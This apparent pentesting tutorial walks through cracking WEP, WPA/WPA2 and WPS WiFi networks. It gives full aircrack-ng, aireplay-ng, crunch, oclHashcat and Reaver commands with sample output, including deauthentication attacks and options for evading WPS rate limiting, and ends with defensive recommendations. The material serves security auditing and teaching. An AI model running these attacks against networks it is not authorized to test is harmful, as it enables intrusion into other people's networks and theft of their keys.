Cracking WiFi WEP, WPA/WPA2: Complete Wireless Audit Guide

Wireless network security auditing is one of the fundamental disciplines in pentesting. Over the years, WiFi encryption protocols have evolved from WEP ===

Introduction

Wireless network security auditing is one of the fundamental disciplines in pentesting. Over the years, WiFi encryption protocols have evolved from WEP (completely broken) to WPA3, but the reality is that in 2012 the vast majority of home and business networks are still using WEP, WPA or WPA2 with weak configurations.

In this guide we will exhaustively cover the most relevant wireless audit techniques:

WEP Cracking: Exploitation of cryptographic weaknesses of the RC4 protocol through packet injection and IV harvesting.
Cracking WPA/WPA2 by dictionary: 4-way handshake capture and offline attack with wordlists.
WPS attack with Reaver- Brute force against the WiFi Protected Setup PIN to obtain the WPA/WPA2 key in plain text.
Complementary techniques- Deauthentication, ARP injection and GPU acceleration.

Legal notice- This guide is for educational and authorized audit purposes only. Attacking WiFi networks without explicit authorization from the owner is a crime defined in most legislations. Always use your own laboratory environment to practice.

Environment Requirements and Preparation

Before starting we need a suitable work environment:

Hardware

WiFi adapter supporting packet injection: Not all adapters support monitor mode or injection. The most reliable chipsets are:
- Atheros AR9271 (Alpha AWUS036NHA): Excellent support on Linux, stable injection.
- Realtek RTL8187L (Alfa AWUS036H): classic for wireless auditing, very compatible with aircrack-ng.
- Ralink RT3070 (Alfa AWUS036NH): good performance and long range.
External antenna (optional): A directional or higher gain antenna significantly improves reception for remote audits.

Software

aircrack-ng suite: complete set of tools for wireless auditing (airmon-ng, airodump-ng, aireplay-ng, aircrack-ng).
reaver: tool specialized in brute force attacks against WPS.
Dictionaries: wordlists for dictionary attacks against WPA/WPA2 (rockyou.txt, generated with crunch, etc.).
Operating system: BackTrack 5 R2 or any Linux distribution with the appropriate wireless drivers.

installing aircrack-ng

In most security-oriented distributions, aircrack-ng is already pre-installed. If this is not the case:

Bash

# Debian/Ubuntu
apt-get install aircrack-ng

# Compilación desde fuentes (última versión)
wget https://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar -xvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1
make
sudo make install

Installing Reaver

Reaver was developed by Craig Heffner and published in December 2011. It implements a brute force attack against the WPS (WiFi Protected Setup) protocol that allows recovering the WPA/WPA2 key in plain text:

Bash

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar -xvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install

Activate monitor mode

He monitor mode It allows our WiFi card to capture all packets from the air, not just those destined for our interface. It is the equivalent of promiscuous mode in wired networks and is an essential requirement for any wireless audit.

First, we identify our wireless interface:

Bash

airmon-ng

Interface   Chipset             Driver
wlan0       Realtek RTL8187L    rtl8187 - [phy0]

Before activating monitor mode, it is advisable to eliminate processes that may interfere with packet capture:

Bash

# Detener procesos que interfieren (NetworkManager, wpa_supplicant, etc.)
airmon-ng check kill

# Activar modo monitor
airmon-ng start wlan0

Interface   Chipset             Driver
wlan0       Realtek RTL8187L    rtl8187 - [phy0]
                                (monitor mode enabled on mon0)

A new interface is created mon0 in monitor mode. We verify that it works correctly:

Bash

iwconfig mon0

mon0    IEEE 802.11bg  Mode:Monitor  Frequency:2.437 GHz
        Tx-Power=20 dBm
        RTS thr:off   Fragment thr:off
        Power Management:off

Reconnaissance: Network Discovery

With the interface in monitor mode, we scan all available WiFi networks using airodump-ng:

Bash

airodump-ng mon0

The output shows two fundamental sections:

text

 CH  8 ][ Elapsed: 24 s ]

 BSSID              PWR  Beacons  #Data  #/s  CH  MB  ENC   CIPHER  AUTH  ESSID

 E0:91:53:0B:C3:BD  -52    62     178    7    1  54  WEP   WEP           WLAN_1E
 00:16:B6:11:41:68  -64    10       0    0   11  54  WPA   TKIP    PSK   RedLab
 5C:33:8E:CF:F2:F2  -68     6       0    0   11  54  WPA2  CCMP    PSK   TestNet
 64:68:0C:7E:DF:28  -72     3       0    0    6  54  WPA   CCMP    PSK   WiFi_Audit
 00:1D:60:BD:1A:E1  -75    11       0    0    1  54  OPN                 OpenNet

 BSSID              STATION            PWR   Rate  Lost  Packets  Probes

 E0:91:53:0B:C3:BD  00:C0:CA:52:48:30  -58   0-1   5266  4375
 00:16:B6:11:41:68  00:21:00:1D:1D:FF  -62  48-0      0    25

Interpretation of the most relevant columns:

BSSID: MAC address of the access point.
PWR: signal strength (the closer to 0, the better signal).
#Data: number of data packets captured. For WEP cracking, we need to accumulate thousands of these packets.
CH: channel on which the AP operates.
ENC: encryption type (WEP, WPA, WPA2, OPN).
CIPHER: encryption algorithm (WEP, TKIP, CCMP/AES).
AUTH- Authentication type (PSK = Pre-Shared Key, MGT = 802.1X/Enterprise).
ESSID: network name.

The lower section shows the associated clients to each access point. This is relevant because we need active clients for certain attacks (deauthentication, ARP injection).

WEP Cracking

WEP (Wired Equivalent Privacy) is the original WiFi encryption protocol, ratified in 1997. It uses the algorithm RC4 with initialization vectors (IVs) of only 24 bits. The fundamental weakness of WEP is that IVs are transmitted in clear text and, due to their small size, are statistically repeated after a relatively small number of packets. This allows the key to be reconstructed using statistical analysis (FMS attack, PTW attack).

In practice, a WEP network can be cracked in minutes if there is enough traffic.

Step 1: Capture traffic from the target AP

We fix airodump-ng in the channel of the target access point and save the capture in a file:

Bash

# -c 1         = canal del AP
# --bssid      = MAC del AP objetivo
# -w captura   = prefijo del fichero de salida
airodump-ng -c 1 --bssid E0:91:53:0B:C3:BD -w captura_wep mon0

We leave this terminal open capturing packets. The column #Data shows the number of data packets (IVs) accumulated. We need at least 20,000-40,000 IVs for PTW attack (faster) or 100.000+ for the classic FMS/KoreK attack.

Step 2: Fake Association

If there are no legitimate clients associated with the AP or the traffic is very low, we perform a fake authentication so that the AP accepts our injected packets:

Bash

# -1 0     = ataque de autenticación falsa con reasociación cada 0 segundos
# -a       = BSSID del AP
# -h       = nuestra MAC (la de mon0)
# -e       = ESSID de la red
aireplay-ng -1 0 -a E0:91:53:0B:C3:BD -h 00:11:22:33:44:55 -e WLAN_1E mon0

18:22:41  Sending Authentication Request (Open System)
18:22:41  Authentication successful
18:22:41  Sending Association Request
18:22:41  Association successful :-)

The message Association successful confirms that the AP has accepted us. We keep this association active for the duration of the attack.

Step 3: ARP injection to speed up capture

The most efficient method of generating traffic on a WEP network is ARP request injection. When we detect an ARP packet, we re-inject it repeatedly to force the AP to generate new packets with unique IVs:

Bash

# -3       = ataque de replay de peticiones ARP
# -b       = BSSID del AP
# -h       = nuestra MAC
aireplay-ng -3 -b E0:91:53:0B:C3:BD -h 00:11:22:33:44:55 mon0

Saving ARP requests in replay_arp-0228-182500.cap
Read 4375 packets (got 1243 ARP requests), sent 35280 packets...(512 pps)

ARP injection can generate between 300 and 1000 packets per second. In a few minutes we will accumulate enough IVs for the attack. If no ARP is captured initially, we can force generation by sending a deauthentication packet to a legitimate client:

Bash

# Enviar 5 paquetes de deautenticación al cliente
aireplay-ng -0 5 -a E0:91:53:0B:C3:BD -c 00:C0:CA:52:48:30 mon0

When the client reconnects, it generates ARP traffic that we can capture and re-inject.

Step 4: Crack the WEP key

Con suficientes IVs capturados, lanzamos aircrack-ng against the capture file:

Bash

aircrack-ng captura_wep-01.cap

Opening captura_wep-01.cap
Read 86295 packets.

   #  BSSID              ESSID            Encryption  1st Data  Key

   1  E0:91:53:0B:C3:BD  WLAN_1E          WEP         45328     (128 bit)

Choosing first network as target.

                             Aircrack-ng 1.1

                  [00:00:03] Tested 835 keys (got 45328 IVs)

   KB    depth   byte(vote)
    0    0/ 1    A3(52224) 1F(47872) 6D(45568) 2A(44800) E5(44544)
    1    0/ 1    8E(52992) 7C(47104) 21(46336) 9A(45056) D3(44800)
    2    0/ 3    F7(48640) B2(47360) 5D(46592) 1E(45824) 8C(44288)
    3    0/ 1    29(51968) E4(47616) 7B(46080) A1(45312) 5F(44800)
    4    2/ 5    C1(47616) 3A(46848) 8D(46336) F2(45568) 6E(44544)

                    KEY FOUND! [ A3:8E:F7:29:C1:5D:4A:B8:E2:1F:7C:D3:9E ]

        Decrypted correctly: 100%

The key is displayed in hexadecimal format. The PTW attack (default in aircrack-ng) is significantly faster than the classic FMS/KoreK and requires fewer IVs.

Cracking WPA/WPA2 by handshake capture

WPA (Wi-Fi Protected Access) and WPA2 They were designed to correct the deficiencies of WEP. WPA uses TKIP (Temporal Key Integrity Protocol) and WPA2 uses AES-CCMP, both with dynamic keys per session. Unlike WEP, there is no practical cryptographic attack against well-configured WPA/WPA2.

The most effective attack against WPA/WPA2-PSK is 4-way handshake capture followed by an offline attack by dictionary or brute force. The handshake occurs when a client authenticates with the AP and contains the information necessary to verify whether a candidate password is correct.

The 4-way handshake explained

The WPA/WPA2 authentication process consists of four messages between the AP and the client:

Message 1 (AP → Client): The AP sends a random nonce (ANonce).
Message 2 (Client → AP): The client generates its own nonce (SNonce), calculates the PTK (Pairwise Transient Key) using the PSK, the two nonces and the MACs, and sends the SNonce along with a MIC (Message Integrity Code).
Message 3 (AP → Client): The AP verifies the MIC, confirms the PTK, and sends the encrypted group key (GTK).
Message 4 (Client → AP): The client confirms the installation of the keys.

For the dictionary attack we need to capture at least the messages 1 and 2 (or 2 and 3). With this data we can try to reconstruct the offline PTK by trying different candidate passwords.

Step 1: Capture the handshake

We set airodump-ng on the channel of the target AP with WPA/WPA2:

Bash

airodump-ng -c 11 --bssid 00:16:B6:11:41:68 -w captura_wpa mon0

Step 2: Force reconnection with deauthentication

If we don't want to wait for a client to connect naturally, we send packets of deauthentication to force disconnection and subsequent reconnection (which generates the handshake):

Bash

# -0 10      = enviar 10 paquetes de deautenticación
# -a         = BSSID del AP
# -c         = MAC del cliente asociado
aireplay-ng -0 10 -a 00:16:B6:11:41:68 -c 00:21:00:1D:1D:FF mon0

18:35:01  Sending 64 directed DeAuth. STMAC: [00:21:00:1D:1D:FF]
18:35:02  Sending 64 directed DeAuth. STMAC: [00:21:00:1D:1D:FF]

When the client reconnects, airodump-ng will display WPA handshake: 00:16:B6:11:41:68 in the upper right corner, confirming that we have captured the handshake correctly.

text

 CH 11 ][ Elapsed: 1 min ][ WPA handshake: 00:16:B6:11:41:68

 BSSID              PWR  Beacons  #Data  #/s  CH  MB  ENC   CIPHER  AUTH  ESSID

 00:16:B6:11:41:68  -64    85     124    3   11  54  WPA   TKIP    PSK   RedLab

Step 3: Dictionary Attack

With the handshake captured, we can stop the capture and proceed to the offline attack. We do not need to be close to the AP for this phase, since all the processing is done on the file .cap:

Bash

# -w         = wordlist (diccionario)
# -b         = BSSID del AP
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 00:16:B6:11:41:68 captura_wpa-01.cap

Opening captura_wpa-01.cap
Read 856 packets.

                              Aircrack-ng 1.1

                [00:01:52] 38264 keys tested (340.12 k/s)

                       KEY FOUND! [ contraseña_wifi ]

     Master Key     : A3 8E F7 29 C1 5D 4A B8 E2 1F 7C D3 9E ...
     Transient Key  : 7B 2A E5 1D 8C F2 6E A1 ...
     EAPOL HMAC     : D4 3A 87 5C E9 2B F6 ...

The speed of the attack depends directly on the processing power. A modern processor can try between 300-1000 keys per second with aircrack-ng. The effectiveness of the attack depends entirely on whether the password is in the dictionary used.

Generation of custom dictionaries

If the generic dictionary doesn't work, we can generate custom wordlists with crunch:

Bash

# Generar combinaciones de 8-12 caracteres con minúsculas y números
crunch 8 12 abcdefghijklmnopqrstuvwxyz0123456789 -o diccionario_custom.txt

# Generar con un patrón específico (@ = minúsculas, % = números)
crunch 10 10 -t wifi%%%%@@ -o diccionario_wifi.txt

# Canalizar directamente a aircrack-ng (sin escribir en disco)
crunch 8 8 0123456789 | aircrack-ng -w - -b 00:16:B6:11:41:68 captura_wpa-01.cap

GPU acceleration using oclHashcat/pyrit

For massive attacks, the CPU is insufficient. Tools like pyrit and oclHashcat They take advantage of the parallel computing power of graphics cards, multiplying the speed by a factor of 10x-100x:

Bash

# Convertir el handshake a formato hccap para oclHashcat
aircrack-ng captura_wpa-01.cap -J handshake_hash

# Ataque con oclHashcat (GPU)
oclHashcat -m 2500 handshake_hash.hccap /usr/share/wordlists/rockyou.txt

# Con pyrit (precomputación de PMKs)
pyrit -r captura_wpa-01.cap -i /usr/share/wordlists/rockyou.txt attack_passthrough

A modern GPU like the Radeon HD 7970 can achieve between 50,000 and 150,000 PMKs per second, compared to 300-1000 for the CPU. This dramatically reduces the time needed to test large dictionaries.

WPS attack with Reaver

WiFi Protected Setup (WPS) was designed to simplify connecting devices to secure WiFi networks. Allows users to connect by entering an 8-digit PIN instead of the full WPA/WPA2 password. However, in December 2011, the researcher Stefan Viehböck published a paper demonstrating a critical design vulnerability in the WPS protocol.

The WPS PIN vulnerability

The 8-digit WPS PIN is not verified atomically. The protocol divides the verification into two halves:

The AP first checks the first 4 digits (first half) and responds with a success or error message.
If the first half is correct, then check the next 3 digits (the eighth digit is a checksum).

This reduces the search space of 10^8 = 100.000.000 combinations alone 10^4 + 10^3 = 11.000 attempts in the worst case. Reaver exploits this vulnerability by performing a sequential brute force attack against both halves of the PIN.

According to the author of Reaver, the time required to recover the WPA/WPA2 key ranges between 4 and 10 hours, depending on the access point.

Identify APs with WPS activated

Not all APs have WPS enabled. We use wash (included with Reaver) to identify which ones are vulnerable:

Bash

wash -i mon0

BSSID              Channel  RSSI  WPS Version  WPS Locked  ESSID
--------------------------------------------------------------
5C:33:8E:CF:F2:F2  11       -68   1.0          No          TestNet
64:68:0C:7E:DF:28   6       -72   1.0          No          WiFi_Audit
00:16:B6:11:41:68  11       -64   1.0          No          RedLab

The column WPS Locked indicates whether the AP has blocked WPS after multiple failed attempts. Some manufacturers implement rate limiting or time blocking to protect against brute force attacks.

Execute the attack with Reaver

We launch Reaver against the target AP in verbose mode to monitor progress:

Bash

# -i mon0    = interfaz en modo monitor
# -b         = BSSID del AP objetivo
# -vv        = modo muy verbose
reaver -i mon0 -b 5C:33:8E:CF:F2:F2 -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

[+] Waiting for beacon from 5C:33:8E:CF:F2:F2
[+] Associated with 5C:33:8E:CF:F2:F2 (ESSID: TestNet)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005670
[+] Sending EAPOL START request
...

Reaver tests PINs sequentially. Each attempt requires a complete exchange of EAP messages with the AP, which takes between 0.5 and 3 seconds depending on the latency of the AP.

Reaver Advanced Options

Some APs implement protections that slow or block the attack. Useful options to get around these protections:

Bash

# -d 5        = delay de 5 segundos entre intentos (evitar rate limiting)
# -l 60       = sleep de 60 segundos tras detección de bloqueo WPS
# --no-nacks  = no enviar NACK tras error (mejora compatibilidad con algunos APs)
# -N          = no enviar M4 si M3 indica fallo (reduce tiempo)
# -S          = usar pequeños DH keys (acelera handshake)
reaver -i mon0 -b 5C:33:8E:CF:F2:F2 -vv -d 5 -l 60 --no-nacks

# Reanudar un ataque interrumpido (Reaver guarda progreso automáticamente)
reaver -i mon0 -b 5C:33:8E:CF:F2:F2 -vv

An important advantage of Reaver is that automatically save progress. If the attack is interrupted (loss of signal, temporary blocking of the AP, etc.), when relaunched it continues from the last PIN tested.

Successful result

When Reaver finds the correct PIN, it displays the WPA/WPA2 key in plain text:

text

[+] Trying pin 43956278
[+] WPS PIN: '43956278'
[+] WPA PSK: 'MiClaveWiFiSegura2012'
[+] AP SSID: 'TestNet'

Unlike the dictionary attack, the WPS attack does not depend on password complexity. Even a WPA2 key of 63 random characters will be recovered if the AP has WPS enabled and vulnerable.

Comparison of attacks

To choose the right strategy during an audit, it is useful to compare the three attack vectors:

Feature	WEP (aircrack-ng)	WPA/WPA2 (handshake)	WPS (Reaver)
Attack type	Cryptographic (IVs)	Offline brute force/dictionary	Online brute force
Estimated time	5-30 minutes	Depends on dictionary and GPU	4-10 hours
Depends on the password	No	Yes (should be in the dictionary)	No
Requires connected client	Advisable	Yes (for handshake capture)	No
can be detected	Hardly	Deauthentication yes, cracking no	Yes (many WPS attempts)
Effective countermeasure	Migrate to WPA2	Long and complex password	Disable WPS

Security recommendations

As auditors, in addition to identifying vulnerabilities we must provide clear remediation recommendations:

Remove WEP completely- Any WEP network is vulnerable and should be migrated to WPA2-AES at a minimum. There is no secure WEP configuration.
Disable WPS- Even on routers that implement time-locking after failed attempts, WPS remains a viable attack vector. The best protection is to disable it completely in the router settings.
Strong WPA2 Passwords: Use passwords of at least 12 characters that combine uppercase, lowercase, numbers and symbols. Passwords based on dictionary words or predictable patterns (name+year, address, phone) are vulnerable to wordlist attacks.
Use WPA2-AES (CCMP)- Avoid TKIP whenever possible. TKIP has known weaknesses (Beck-Tews attack) although not as serious as WEP.
802.1X/Enterprise in corporate environments- Instead of PSK (a single key shared by all users), implement per-user authentication with RADIUS server. This provides individual credentials and the ability to revoke access to specific users.
Wireless monitoring: implement WIDS/WIPS (Wireless Intrusion Detection/Prevention System) to detect deauthentication attacks, rogue APs and brute force attempts against WPS.
Update firmware- Manufacturers release updates that may include additional protections against known attacks (rate limiting in WPS, deauthentication protection, etc.).

References

Brute forcing Wi-Fi Protected Setup — Stefan Viehböck (2011). Original paper on the WPS vulnerability.
Aircrack-ng Documentation — Official documentation of the aircrack-ng suite.
Reaver WPS — Official Reaver repository by Craig Heffner.
IEEE 802.11i-2004 — Security standard for wireless networks (WPA2).
Fluhrer, Mantin, Shamir (2001): Weaknesses in the Key Scheduling Algorithm of RC4 — Founding paper of the FMS attack against WEP.

:wq!

Introduction

Environment Requirements and Preparation

Hardware

Software

installing aircrack-ng

Installing Reaver

Activate monitor mode

Reconnaissance: Network Discovery

WEP Cracking

Step 1: Capture traffic from the target AP

Step 2: Fake Association

Step 3: ARP injection to speed up capture

Step 4: Crack the WEP key

Cracking WPA/WPA2 by handshake capture

The 4-way handshake explained

Step 1: Capture the handshake

Step 2: Force reconnection with deauthentication

Step 3: Dictionary Attack

Generation of custom dictionaries

GPU acceleration using oclHashcat/pyrit

WPS attack with Reaver

The WPS PIN vulnerability

Identify APs with WPS activated

Execute the attack with Reaver

Reaver Advanced Options

Successful result

Comparison of attacks

Security recommendations

References

Comments